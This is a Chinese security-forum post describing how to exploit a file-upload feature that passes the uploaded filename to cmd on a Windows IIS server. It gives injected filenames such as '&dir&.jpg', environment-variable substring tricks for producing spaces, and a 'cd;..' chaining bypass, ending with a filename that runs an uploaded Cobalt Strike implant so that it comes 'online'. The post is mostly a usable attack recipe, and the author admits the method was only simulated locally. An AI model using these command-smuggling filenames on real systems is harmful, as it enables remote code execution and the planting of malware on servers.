安全矩阵

 找回密码
 立即注册
搜索
查看: 2472|回复: 0

记一次“上传”命令执行的绕过案例

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-9-24 17:36:15 | 显示全部楼层 |阅读模式
原文链接:记一次“上传”命令执行的绕过案例

0x01 前言
前几天在“搞基大队”群里看到@六八老哥提到的一个问题,几个师傅都在讨论其绕过方式,自己也做了些测试,感觉还是挺有意思的,经老哥同意将这次讨论过程和绕过方式整理分享给大家。
这是一个基于上传的命令执行漏洞,以前还真没见过,虽然这种漏洞很少见,但如果遇到了你能绕过吗?欢迎各位师傅补充绕过姿势!

0x02 问题描述
遇到这样一个超级奇葩的利用点,文件上传时会把文件名放到cmd中去执行,但不允许出现空格,如果文件名中存在空格时则上传失败。
而且它这个系统每次上传会按时间戳创建一个文件夹, 它的存在导致每次上传执行,当前时间戳目录下只会存在一个文件,还有一个关键点就是后缀必须为jpg。

C:\inetpub\wwwroot\1631023487\&dir&.jpg

0x03 漏洞简述
为什么后台是放到cmd中去执行的?因为它提供了这样一个功能,可以把图片或者文档转为pdf,后台是使用的一个exe程序,加文件路径去进行转换,可以通过控制文件名执行简单的命令。
但是想去执行比如下载木马、添加账号等这些复杂一点的命令就不行了,只要出现空格就无法上传执行。

0x04 测试方法
首先想到的绕过方式是以前测试过的“Windows环境变量截取绕过”,但在实际测试中发现不能用于这种场景,因为Windows文件命名规则中默认不允许使用这些字符:\、/、:、*、?、"、<、>、|。

  1. %path:~10,1%
  2. %programfiles:~10,1%
  3. %processor_identifier:~7,1%
  4. %commonprogramw6432:~10,1%
  5. %commonprogramfiles(x86):~10,1%
  6. %commonprogramfiles:~10,1%
  7. %commonprogramfiles:~10,-18%
  8. %commonprogramfiles:~23,1%
  9. %fps_browser_app_profile_string:~8,1%
  10. [...SNIP...]
复制代码



本地搭建了一个上传漏洞,利用Burpsuite抓包,将上传文件数据包中文件名处的空格用%20进行解码发送后即可成功把带有空格命令的文件写进目标磁盘中,并且能够正常执行。

注:这里必须将%20解码后再发送,否则会原样写入,文件名为:&net%20user.jpg。还有就是这个上传漏洞中是没有过滤空格等字符,如果已经过滤该绕过方式则可能无效。
@六八老哥在测试中发现在cd中可以用,和;等字符代替空格,但在跨目录时又发现不能用\,因为文件名中不允许出现\、/,最终测试出来可用于跨目录的cd命令如下。
  1. 切换上级目录,不允许使用\/
  2. C:\inetpub\wwwroot\1631023487>cd;..\

  3. cd,..结合&连接符实现跨目录
  4. C:\inetpub\wwwroot>cd;..&cd;..&cd;windows&cd;system32
复制代码



0x05 绕过方式
这个“上传”命令执行漏洞的关键点其实就是上传目录,文件名可控,然后再配合cd;..绕过空格垮目录,&命令连接就OK了。只要求后缀必须为jpg,文件名中不带空格即可。
本地模拟测试:
我们可以先将cs马改为cs.jpg传上去,目录在1631359215,然后再构造一个用于跨目录和执行cs马的jpg文件传上去,目录在1631023487,文件名为:&cd;..&cd;1631359215&cs.jpg&.jpg,上传执行后可以看到已经完美上线了。
cmd /c C:\inetpub\wwwroot\1631023487\&cd;..&cd;1631359215&cs.jpg&.jpg

注:由于没有环境进行复现测试,所以对实际情况并不是很清楚,可能更复杂些吧。说实话,在整理完这篇文章后对@六八老哥的文件落地这块都还处于蒙蔽状态,懒的再去研究了,就这样吧!!!




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-3-29 13:56 , Processed in 0.013931 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表